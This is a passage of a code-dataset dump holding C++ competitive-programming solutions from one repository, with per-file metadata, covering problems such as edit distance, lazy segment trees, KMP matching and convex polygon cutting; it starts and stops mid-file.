cout.precision(7);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int n, m; cin >> n >> m;\n\n for( int i = 0; i < m; i++ ){\n tot[1][i] = 1;\n }\n\n for( int i = 0; i < m; i++ ){\n for( int j = 0; j < m; j++ ){\n if( i != j ){\n sol[2][i][j] = 1;\n tot[2][j]++;\n }\n }\n }\n\n for( int z = 3; z <= n; z++ ){\n for( int i = 0; i < m; i++ ){\n for( int j = 0; j < m; j++ ){\n if( i != j ){\n sol[z][i][j] = rest( tot[z-1][i] , sol[z-1][j][i] );\n tot[z][j] = add( tot[z][j] , sol[z][i][j] );\n }\n }\n }\n }\n\n int sol = 0;\n for( int i = 0; i < m; i++ ){\n sol = add( sol , tot[n][i] );\n }\n\n cout << sol << '\\n';\n}\n\n" }, { "alpha_fraction": 0.41484716534614563, "alphanum_fraction": 0.4628821015357971, "avg_line_length": 14.962963104248047, "blob_id": "b5f5805b9ca842ff4022ded1e771269d4c65b905", "content_id": "114dad805f05be958d253ce9973efd65a5f6cc8f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 458, "license_type": "no_license", "max_line_length": 41, "num_lines": 27, "path": "/COJ/eliogovea-cojAC/eliogovea-p1830-Accepted-s547329.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#define MAXN 1000010\r\n#define MOD 10000\r\n\r\nint n,u,q,arr[MAXN],ac[MAXN];\r\n\r\nint main()\r\n{\r\n\tscanf(\"%d%d%d\",&n,&u,&q);\r\n\r\n\tfor(int i=1,x,k; i<=u; i++)\r\n\t{\r\n\t\tscanf(\"%d%d\",&x,&k);\r\n\t\tarr[x-1]=(arr[x-1]+k)%MOD;\r\n\t\tarr[x]=(arr[x]+k+1)%MOD;\r\n\t\tarr[x+1]=(arr[x+1]+k)%MOD;\r\n\t}\r\n\r\n\tfor(int i=1; i<=n; i++)\r\n\t\tac[i]=(arr[i]+ac[i-1])%MOD;\r\n\r\n\tfor(int i=1,a,b; i<=q; i++)\r\n\t{\r\n\t\tscanf(\"%d%d\",&a,&b);\r\n\t\tprintf(\"%d\\n\",(ac[b]-ac[a-1]+MOD)%MOD);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4710042476654053, "alphanum_fraction": 0.4893918037414551, "avg_line_length": 14.34782600402832, "blob_id": "c85a80db00ee2a03cb685037ab05c5a549814bce", "content_id": "cb6f6222ba418acfe50d1e4e119dd55b2cea08ae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 707, "license_type": "no_license", "max_line_length": 46, "num_lines": 46, "path": "/Codechef/SNTYGE.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long LL;\n\nconst int N = 300005;\nconst int M = 100;\nint n, q;\nLL a[N];\n\nLL sum[M + 2][N];\n\ninline LL get(int start, int diff) {\n\tif (sum[diff][start]) {\n\t\treturn sum[diff][start];\n\t}\n\tsum[diff][start] = a[start];\n\tif (start + diff <= n) {\n\t\tsum[diff][start] += get(start + diff, diff);\n\t}\n\treturn sum[diff][start];\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcin >> n;\n\tfor (int i = 1; i <= n; i++) {\n\t\tcin >> a[i];\n\t}\n\tcin >> q;\n\tint x, y;\n\twhile (q--) {\n\t\tcin >> x >> y;\n\t\tif (y < M) {\n\t\t\tcout << get(x, y) << \"\\n\";\n\t\t} else {\n\t\t\tLL s = 0;\n\t\t\tfor (int i = x; i <= n; i += y) {\n\t\t\t\ts += a[i];\n\t\t\t}\n\t\t\tcout << s << \"\\n\";\n\t\t}\n\t}\n}\n\n" }, { "alpha_fraction": 0.46368715167045593, "alphanum_fraction": 0.5586591958999634, "avg_line_length": 22.866666793823242, "blob_id": "7f6925f32b3f16fb0ecef78d30d7d724bdb9bfe7", "content_id": "1beb8207bdf8405a43de39e3668ab52f6bcc71ed", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 358, "license_type": "no_license", "max_line_length": 105, "num_lines": 15, "path": "/Codeforces-Gym/100494 - 2014-2015 CT S02E03: Codeforces Trainings Season 2 Episode 3 (NCPC 2008 + USACO DEC07 + GCJ 2008 Qual)/B.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CT S02E03: Codeforces Trainings Season 2 Episode 3 (NCPC 2008 + USACO DEC07 + GCJ 2008 Qual)\n// 100494B\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n long long n, b;\n cin >> n >> b;\n long long t = (1LL << (b + 1LL)) - 1LL;\n cout << (t >= n ? \"yes\" : \"no\") << \"\\n\";\n}\n" }, { "alpha_fraction": 0.46950092911720276, "alphanum_fraction": 0.5415896773338318, "avg_line_length": 18.037036895751953, "blob_id": "bdd6091fa1cf6e847341da0e3e7070f346176852", "content_id": "06ee8d3635d00cbb6eaaa232436b0df744d02aa5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 541, "license_type": "no_license", "max_line_length": 64, "num_lines": 27, "path": "/COJ/eliogovea-cojAC/eliogovea-p2229-Accepted-s568225.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cstring>\r\n#include<algorithm>\r\n#define MAXN 1010\r\nusing namespace std;\r\n\r\nchar w1[MAXN],w2[MAXN];\r\nint len1,len2;\r\nint dp[MAXN][MAXN];\r\n\r\nint main()\r\n{\r\n\tscanf(\"%s%s\",w1+1,w2+1);\r\n\r\n\tlen1=strlen(w1+1);\r\n\tlen2=strlen(w2+1);\r\n\r\n\tfor(int i=0; i<=len1; i++)dp[i][0]=i;\r\n\tfor(int i=0; i<=len2; i++)dp[0][i]=i;\r\n\r\n\tfor(int i=1; i<=len1; i++)\r\n\t\tfor(int j=1; j<=len2; j++)\r\n\t\t\tif(w1[i]==w2[j])dp[i][j]=dp[i-1][j-1];\r\n\t\t\telse dp[i][j]=min(dp[i-1][j-1],min(dp[i-1][j],dp[i][j-1]))+1;\r\n\r\n\tprintf(\"%d\\n\",dp[len1][len2]);\r\n}\r\n" }, { "alpha_fraction": 0.41130298376083374, "alphanum_fraction": 0.4772370457649231, "avg_line_length": 15.216216087341309, "blob_id": "c0d94e63b76ee2f552432293b110b19e0b7eec79", "content_id": "2da4a2f0303f47192c60b825d9968cd2e4bc61cd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 637, "license_type": "no_license", "max_line_length": 43, "num_lines": 37, "path": "/COJ/eliogovea-cojAC/eliogovea-p1438-Accepted-s549129.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<vector>\r\n#include<algorithm>\r\n#define MAXN 1000010\r\nusing namespace std;\r\n\r\nint c1,c2,aux,sol;\r\nint v1[MAXN],v2[MAXN];\r\n\r\nint main()\r\n{\r\n\twhile(scanf(\"%d%d\",&c1,&c2) && (c1|c2))\r\n\t{\r\n\t\tif(c1>=c2)\r\n\t\t{\r\n\t\t\tfor(int i=1; i<=c1; i++)\r\n\t\t\t\tscanf(\"%d\",&v1[i]);\r\n\t\t\tfor(int i=1; i<=c2; i++)\r\n\t\t\t{\r\n\t\t\t\tscanf(\"%d\",&aux);\r\n\t\t\t\tsol+=binary_search(v1+1,v1+c1+1,aux);\r\n\t\t\t}\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tfor(int i=1; i<=c1; i++)\r\n\t\t\t\tscanf(\"%d\",&v1[i]);\r\n\t\t\tfor(int i=1; i<=c2; i++)\r\n\t\t\t\tscanf(\"%d\",&v2[i]);\r\n\t\t\tfor(int i=1; i<=c1; i++)\r\n\t\t\t\tsol+=binary_search(v2+1,v2+c2+1,v1[i]);\r\n\t\t}\r\n\r\n\t\tprintf(\"%d\\n\",sol);\r\n\t\tsol=0;\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4209621846675873, "alphanum_fraction": 0.44158074259757996, "avg_line_length": 14.628571510314941, "blob_id": "c978c4fdcb41f8a5ced63088893be3db2de97221", "content_id": "6653eec171682462263011a4d1895395c2f65983", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 582, "license_type": "no_license", "max_line_length": 43, "num_lines": 35, "path": "/COJ/eliogovea-cojAC/eliogovea-p1905-Accepted-s609256.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <sstream>\r\nusing namespace std;\r\n#include <vector>\r\nint n;\r\nstring line, aux;\r\nvector<string> v;\r\n\r\nint main() {\r\n\tcin >> n;\r\n\tgetline(cin, line);\r\n\twhile (n--) {\r\n\r\n\t\tgetline(cin, line);\r\n\r\n\t\tfor (int i = 0; line[i]; i++) {\r\n\t\t\tif (line[i] == ' ') {\r\n\t\t\t\tv.push_back(aux);\r\n\t\t\t\taux = \"\";\r\n\t\t\t}\r\n\t\t\telse aux += line[i];\r\n\t\t}\r\n\t\tv.push_back(aux);\r\n\t\taux = \"\";\r\n\t\tcout << v[0][0] << v[0][1];\r\n\r\n\t\tfor (int i = v.size() - 1; i >= 1; i--) {\r\n\t\t\tcout << v[i];\r\n\t\t\tif (i != 1) cout << '*';\r\n\t\t}\r\n\r\n\t\tcout << v[0][2] << v[0][3] << endl;\r\n\t\tv.clear();\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4875565469264984, "alphanum_fraction": 0.5071644186973572, "avg_line_length": 17.659259796142578, "blob_id": "3412cd5ad92195dd5da7be5cd485b6ed42e6f503", "content_id": "7cf60041eb4ed29742694ae16e7165f687db8cce", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2652, "license_type": "no_license", "max_line_length": 88, "num_lines": 135, "path": "/COJ/eliogovea-cojAC/eliogovea-p3033-Accepted-s1129727.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst double EPS = 1e-9;\r\n\r\ninline int sign(const double x) {\r\n\treturn (x < -EPS) ? -1 : (x > EPS);\r\n}\r\n\r\nstruct point {\r\n\tdouble x, y;\r\n\tpoint() {}\r\n\tpoint(double _x, double _y) \r\n\t\t: x(_x), y(_y) {}\r\n};\r\n\r\npoint operator + (const point &P, const point &Q) {\r\n\treturn point(P.x + Q.x, P.y + Q.y);\r\n}\r\n\r\npoint operator - (const point &P, const point &Q) {\r\n\treturn point(P.x - Q.x, P.y - Q.y);\r\n}\r\n\r\npoint operator * (const point &P, const double k) {\r\n\treturn point(P.x * k, P.y * k);\r\n}\r\n\r\ninline double cross(const point &P, const point &Q) {\r\n\treturn P.x * Q.y - P.y * Q.x;\r\n}\r\n\r\ninline point rot_90_ccw(const point &P) {\r\n\treturn point(-P.y, P.x);\r\n}\r\n\r\ninline point rot_90_cw(const point &P) {\r\n\treturn point(P.y, -P.x);\r\n}\r\n\r\ninline point intersect(const point &A, const point &B, const point &C, const point &D) {\r\n\treturn A + (B - A) * (cross(C - A, C - D) / cross(B - A, C - D));\r\n}\r\n\r\ninline double signed_area(const vector <point> &G) {\r\n\tint n = G.size();\r\n\tdouble area = 0.0;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tint j = (i + 1 == n) ? 0 : i + 1;\r\n\t\tarea += cross(G[i], G[j]);\r\n\t}\r\n\treturn 0.5 * area;\r\n}\r\n\r\ninline double area(const vector <point> &G) {\r\n\treturn abs(signed_area(G));\r\n}\r\n\r\n\r\n/// left side of PQ (Q - P)\r\nvector <point> convex_cut(const vector <point> &G, const point &P, const point &Q) {\r\n\tint n = G.size();\r\n\tvector <point> res;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tint si = sign(cross(Q - P, G[i] - P));\r\n\t\tif (si >= 0) {\r\n\t\t\tres.push_back(G[i]);\r\n\t\t}\r\n\t\tint j = (i + 1 == n) ? 0 : i + 1;\r\n\t\tint sj = sign(cross(Q - P, G[j] - P));\r\n\t\tif (si * sj == -1) {\r\n\t\t\tres.push_back(intersect(P, Q, G[i], G[j]));\r\n\t\t}\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcout.precision(2);\r\n\t\r\n\tconst double L = 10.0;\r\n\t\r\n\tvector <point> G;\r\n\tG.push_back(point(0.0, 0.0));\r\n\tG.push_back(point(L, 0.0));\r\n\tG.push_back(point(L, L));\r\n\tG.push_back(point(0.0, L));\r\n\t\r\n\tstring line;\r\n\t\r\n\tpoint P = point(0.0, 0.0);\r\n\t\r\n\tbool positive_area = true;\r\n\t\r\n\twhile (getline(cin, line)) {\r\n\t\tstringstream in(line);\r\n\t\tpoint Q;\r\n\t\tstring s;\r\n\t\t\r\n\t\tin >> Q.x >> Q.y >> s;\r\n\t\t\r\n\t\tif (!positive_area) {\r\n\t\t\tcout << \"0.00\\n\";\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\t\r\n\t\tif (s == \"Same\") {\r\n\t\t\tpositive_area = false;\r\n\t\t\tcout << \"0.00\\n\";\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\t\r\n\t\tpoint M = (P + Q) * 0.5;\r\n\t\tpoint R = M + rot_90_ccw(Q - P);\r\n\t\t\r\n\t\tif (s == \"Hotter\") {\r\n\t\t\tG = convex_cut(G, R, M);\r\n\t\t} else {\r\n\t\t\tG = convex_cut(G, M, R);\r\n\t\t}\r\n\t\t\r\n\t\tif (G.size() < 3) {\r\n\t\t\tpositive_area = false;\r\n\t\t\tcout << \"0.00\\n\";\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\t\r\n\t\tP = Q;\r\n\t\t\r\n\t\tcout << fixed << area(G) << \"\\n\";\r\n\t}\r\n}" }, { "alpha_fraction": 0.505643367767334, "alphanum_fraction": 0.505643367767334, "avg_line_length": 18.136363983154297, "blob_id": "a396d815de8cc91d10eaf16baba8790ff180c100", "content_id": "9a6772a90748bc6faa3db3d310df9feafe1db3a9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 443, "license_type": "no_license", "max_line_length": 41, "num_lines": 22, "path": "/COJ/eliogovea-cojAC/eliogovea-p2369-Accepted-s550162.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<algorithm>\r\nusing namespace std;\r\n\r\nint n;\r\nlong long a,b,c,mn,mx;\r\n\r\nint main()\r\n{\r\n\tfor(scanf(\"%d\",&n); n--;)\r\n\t{\r\n\t\tscanf(\"%lld%lld%lld\",&a,&b,&c);\r\n\t\tmn=mx=a*b+c;\r\n\t\tmn=min(mn,a+b*c);\tmx=max(mx,a+b*c);\r\n\t\tmn=min(mn,a*c+b);\tmx=max(mx,a*c+b);\r\n\t\tmn=min(mn,(a+b)*c);\tmx=max(mx,(a+b)*c);\r\n\t\tmn=min(mn,(a+c)*b);\tmx=max(mx,(a+c)*b);\r\n\t\tmn=min(mn,(b+c)*a);\tmx=max(mx,(b+c)*a);\r\n\r\n\t\tprintf(\"%lld %lld\\n\",mn,mx);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.32236841320991516, "alphanum_fraction": 0.3486842215061188, "avg_line_length": 16.239999771118164, "blob_id": "a34c8ffb03d528603d0d69a48c527723d349ebdf", "content_id": "2457d4b0f75a64b4a2858f859756e11a76b56861", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 456, "license_type": "no_license", "max_line_length": 40, "num_lines": 25, "path": "/COJ/eliogovea-cojAC/eliogovea-p2364-Accepted-s510751.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<algorithm>\r\nusing namespace std;\r\n\r\nint a[26],c;\r\n\r\nint main()\r\n{\r\n scanf(\"%d\",&c);\r\n while(c--)\r\n {\r\n for(int i=0; i<26; i++)\r\n scanf(\"%d\",&a[i]);\r\n sort(a,a+26);\r\n\r\n for(int i=25; i>=0 && a[i]; i--)\r\n for(int j=0; j<a[i]; j++)\r\n {\r\n int x=i+'a';\r\n printf(\"%c\",char(x));\r\n }\r\n printf(\"\\n\");\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.3339317739009857, "alphanum_fraction": 0.36086174845695496, "avg_line_length": 17.20689582824707, "blob_id": "aaf6cc6043a549ed86c391b01431f4916432b314", "content_id": "2d3dd1c5e0c3489c3b0b57ca14c00f3aa8c3c041", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 557, "license_type": "no_license", "max_line_length": 52, "num_lines": 29, "path": "/COJ/eliogovea-cojAC/eliogovea-p2653-Accepted-s539801.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n\r\n#define MAX 100000\r\n\r\nint arr[MAX+1][6],n,a,b,mx,pos;\r\n\r\nint main()\r\n{\r\n scanf(\"%d\",&n);\r\n\r\n for(int i=1; i<=n; i++)\r\n {\r\n scanf(\"%d%d\",&a,&b);\r\n\r\n if(a!=b)\r\n {\r\n arr[i][a]=arr[i-1][a]+1;\r\n arr[i][b]=arr[i-1][b]+1;\r\n }\r\n else arr[i][a]=arr[i-1][a]+1;\r\n\r\n if(arr[i][a]>mx || (arr[i][a]==mx && a<pos))\r\n mx=arr[i][a],pos=a;\r\n if(arr[i][b]>mx || (arr[i][b]==mx && b<pos))\r\n mx=arr[i][b],pos=b;\r\n }\r\n\r\n printf(\"%d %d\\n\",mx,pos);\r\n}\r\n" }, { "alpha_fraction": 0.30608364939689636, "alphanum_fraction": 0.4315589368343353, "avg_line_length": 23.14285659790039, "blob_id": "a0945c90e052a24ddb1085abc611618ebb581d33", "content_id": "5aa349d2a8638c9743f09a3b279d7a04601ccf13", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 526, "license_type": "no_license", "max_line_length": 82, "num_lines": 21, "path": "/COJ/eliogovea-cojAC/eliogovea-p1404-Accepted-s455179.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\n\r\nlong c[151][151],sol[151],n,m;\r\n\r\nint main(){\r\n for(int i=0; i<151; i++)c[i][0]=c[i][i]=1;\r\n for(int i=1; i<151; i++)\r\n for(int j=1; j<i; j++)c[i][j]=(c[i-1][j]%1000003+c[i-1][j-1]%1000003)%1000003;\r\n \r\n sol[0]=1;\r\n for(int i=1; i<151; i++)\r\n for(int j=1; j<=i; j++)sol[i]=(sol[i]+(c[i][j]*sol[i-j])%1000003)%1000003;\r\n \r\n cin >> n;\r\n while(n--){\r\n cin >> m;\r\n cout << sol[m] << endl;\r\n }\r\n return 0;\r\n }" }, { "alpha_fraction": 0.3811728358268738, "alphanum_fraction": 0.40432098507881165, "avg_line_length": 17.636363983154297, "blob_id": "cc9a3a2556bf88e296c62d3f4c2ee7156f8eaf4c", "content_id": "ec5d65831964054514c4c2232aa75338fb320315", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 648, "license_type": "no_license", "max_line_length": 50, "num_lines": 33, "path": "/COJ/eliogovea-cojAC/eliogovea-p2250-Accepted-s649697.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <fstream>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 1000005;\r\n\r\nint tc, pi[MAXN], cas, sol;\r\nstring a, b;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tsol = 0;\r\n\t\tcin >> b >> a;\r\n\t\tint len = a.size();\r\n\t\ta += '#';\r\n\t\tint i = 1, j = 0;\r\n\t\tfor (; a[i]; i++) {\r\n\t\t\twhile (j > 0 && a[i] != a[j]) j = pi[j - 1];\r\n\t\t\tif (a[i] == a[j]) j++;\r\n\t\t\tpi[i] = j;\r\n\t\t}\r\n\t\tfor (i = 0; b[i]; i++) {\r\n\t\t\twhile (j > 0 && b[i] != a[j]) j = pi[j - 1];\r\n\t\t\tif (b[i] == a[j]) j++;\r\n\t\t\tif (j == len) sol++;\r\n\t\t}\r\n\t\tcout << \"Case \" << ++cas << \": \" << sol << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.37332502007484436, "alphanum_fraction": 0.395138680934906, "avg_line_length": 19.570512771606445, "blob_id": "b18be65f012b67a1e18c9a399c951457dd7ffe2b", "content_id": "d4502be2da68c4a164ca49de3f005af0270ee3e3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3209, "license_type": "no_license", "max_line_length": 76, "num_lines": 156, "path": "/Codeforces-Gym/100803 - 2014-2015 ACM-ICPC, Asia Tokyo Regional Contest/G.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 ACM-ICPC, Asia Tokyo Regional Contest\n// 100803G\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 300100;\n\ntypedef pair<int,int> par;\n\nint sum[MAXN*4];\nint mini[MAXN*4];\nint lazy[MAXN*4];\nconst int oo = (1<<29);\n\npar join( par x, par y ){\n par ret = par( x.first + y.first , min( x.second , y.second ) );\n return ret;\n}\n\nvoid propagate_st(int node, int l, int r){\n if( lazy[node] != 0 ){\n\n sum[node] += ( r - l + 1 ) * lazy[node];\n mini[node] += lazy[node];\n\n if( l != r ){\n lazy[ node*2 ] += lazy[ node ];\n lazy[ ( node*2 ) + 1 ] += lazy[ node ];\n }\n\n lazy[ node ] = 0;\n }\n}\n\nvoid update_st( int node,int l,int r, int lq, int rq, int upd ){\n propagate_st( node , l , r );\n\n if( l > rq || r < lq ){\n return;\n }\n if( lq <= l && r <= rq ){\n lazy[node] += upd;\n propagate_st( node , l, r );\n return;\n }\n int ls = node*2 , rs = ls + 1;\n int mid = ( l + r ) / 2;\n\n update_st( ls , l , mid , lq , rq , upd );\n update_st( rs , mid+1 , r , lq , rq , upd );\n\n par tmp = join( par( sum[ls] , mini[ls] ) , par( sum[rs] , mini[rs] ) );\n sum[node] = tmp.first;\n mini[node] = tmp.second;\n}\n\nint query_st( int node , int l , int r, int lq, int rq ){\n propagate_st( node, l, r );\n\n if( l > rq || r < lq ){\n return oo;\n }\n if( lq <= l && r <= rq ){\n return mini[node ];\n }\n\n int ls = node*2 , rs = ls + 1;\n int mid = ( l + r ) / 2;\n\n return min( query_st( ls , l , mid , lq , rq ) ,\n query_st( rs , mid+1 , r , lq , rq ) );\n}\n\nset<int> aa;\nset<int> cc;\n\nint n;\n\nint get( int l, int r, int upd ){\n int sol = r;\n while( l <= r ){\n int mid = ( l + r ) / 2;\n int p = mid;\n if( upd < 0 ){\n p = *aa.lower_bound( mid );\n }\n else{\n p = *cc.lower_bound( mid );\n }\n\n if( query_st( 1 , 1 , n , p , n ) + upd >= 0 ){\n sol = p;\n r = mid-1;\n }\n else{\n l = mid+1;\n }\n }\n\n update_st( 1 , 1 , n , sol , n , upd );\n\n return sol;\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int q; cin >> n >> q;\n string s; cin >> s;\n\n for( int i = 1; i <= n; i++ ){\n if( s[i-1] == ')' ){\n update_st( 1 , 1 , n , i, n, -1 );\n cc.insert( i );\n }\n else{\n update_st( 1 , 1 , n , i, n, 1 );\n aa.insert( i );\n }\n }\n\n for( int i = 0; i < q; i++ ){\n int p; cin >> p;\n\n int upd = 2;\n\n if( cc.find( p ) != cc.end() ){\n update_st( 1 , 1 , n , p , n , 2 );\n cc.erase( cc.find(p) );\n aa.insert( p );\n upd = -2;\n }\n else{\n update_st( 1 , 1 , n , p , n , -2 );\n aa.erase( aa.find(p) );\n cc.insert( p );\n }\n\n int sol = get( 1 , p , upd );\n cout << sol << '\\n';\n\n if( upd < 0 ){\n aa.erase( sol );\n cc.insert( sol );\n }\n else{\n cc.erase( sol );\n aa.insert( sol );\n }\n }\n}\n" }, { "alpha_fraction": 0.4031496047973633, "alphanum_fraction": 0.4393700659275055, "avg_line_length": 15.63888931274414, "blob_id": "c2c02115bdf17b8bbce20b23cbb9f88cb523f26e", "content_id": "24b66aaa8dad31085e803f8bd1b55d34060f0e9a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 635, "license_type": "no_license", "max_line_length": 53, "num_lines": 36, "path": "/COJ/eliogovea-cojAC/eliogovea-p3672-Accepted-s955135.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int INF = 1e9;\r\nconst int N = 5002;\r\n\r\nint n;\r\nstring s;\r\nint dp[N][N];\r\n\r\nint solve(int l, int r) {\r\n\tif (l > r || l == r) {\r\n\t\treturn 0;\r\n\t}\r\n\tif (dp[l][r] != -1) {\r\n\t\treturn dp[l][r];\r\n\t}\r\n\tint ve = (s[l] == s[r] ? solve(l + 1, r - 1) : INF);\r\n\tint v1 = 1 + solve(l + 1, r);\r\n\tint v2 = 1 + solve(l, r - 1);\r\n\tdp[l][r] = min(ve, min(v1, v2));\r\n\treturn dp[l][r];\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n >> s;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tfor (int j = i; j < n; j++) {\r\n\t\t\tdp[i][j] = -1;\r\n\t\t}\r\n\t}\r\n\tcout << solve(0, n - 1) << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.440315306186676, "alphanum_fraction": 0.4932432472705841, "avg_line_length": 15.44444465637207, "blob_id": "524444741cf520113b7a59f83e672b4be1954eed", "content_id": "a0355a36f8d6c213c39c0eb956a44b40fe93b389", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 888, "license_type": "no_license", "max_line_length": 121, "num_lines": 54, "path": "/Codeforces-Gym/100503 - 2014-2015 CT S02E05: Codeforces Trainings Season 2 Episode 5 - 2009-2010 ACM-ICPC, NEERC, Southern Subregional Contest/D.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CT S02E05: Codeforces Trainings Season 2 Episode 5 - 2009-2010 ACM-ICPC, NEERC, Southern Subregional Contest\n// 100503D\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int INF = 20000000;\n\ntypedef long long LL;\n\nLL a, b, c;\n\ninline LL f(LL x) {\n\treturn (a * x + x % b) % c;\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tfreopen(\"input.txt\", \"r\", stdin);\n\tfreopen(\"output.txt\", \"w\", stdout);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\n\tcin >> a >> b >> c;\n\n\tLL x = 0, fx = 1;\n\tLL y = 0, fy = 1;\n\tdo {\n\t\tfx = f(fx); x++;\n\t\tfy = f(f(fy)); y += 2;\n\t} while (fx != fy && x <= INF);\n\n\tif (x > INF) {\n cout << \"-1\\n\";\n return 0;\n\t}\n\n\tx = 0;\n\tfx = 1;\n\twhile (fx != fy && x <= INF) {\n\t\tfx = f(fx); x++;\n\t\tfy = f(fy);\n\t}\n\tdo {\n fx = f(fx); x++;\n\t} while (fx != fy && x <= INF);\n\n\tif (x >= INF) {\n\t\tcout << \"-1\\n\";\n\t} else {\n\t\tcout << x << \"\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.3414071500301361, "alphanum_fraction": 0.36332181096076965, "avg_line_length": 17.266666412353516, "blob_id": "74f81658a6cab592b2195788cd7d470d5d6b5a0a", "content_id": "f03d466b51e4ffe8251b984ccc77870cc3fda64c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 867, "license_type": "no_license", "max_line_length": 56, "num_lines": 45, "path": "/COJ/eliogovea-cojAC/eliogovea-p2109-Accepted-s674815.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <algorithm>\r\n#include <vector>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\nLL n, a[105], x;\r\nLL gcd[105][105];\r\n\r\nint main() {\r\n\tcin >> n;\r\n\tfor (int i = 1; i <= n; i++) a[i] = 1LL;\r\n\tfor (int i = 1; i < n; i++) {\r\n\t\tfor (int j = i + 1; j <= n; j++) {\r\n\t\t\tcin >> x; /// GCD(a[i], a[j]) = x;\r\n\t\t\tgcd[i][j] = gcd[j][i] = x;\r\n\t\t\ta[i] *= x / __gcd(x, a[i]);\r\n\t\t\ta[j] *= x / __gcd(x, a[j]);\r\n\t\t}\r\n\t}\r\n\r\n\tfor (int i = 2; i <= n; i++)\r\n\t\tif (a[i] <= a[i - 1]) {\r\n\t\t\tfor (LL j = a[i - 1] / a[i] + 1; ; j++) {\r\n\t\t\t\tbool ok = true;\r\n\t\t\t\tfor (int k = 1; k <= n; k++)\r\n\t\t\t\t\tif (i != k && __gcd(a[i] * j, a[k]) != gcd[i][k]) {\r\n\t\t\t\t\t\tok = false;\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t}\r\n\t\t\t\tif (ok) {\r\n\t\t\t\t\ta[i] *= 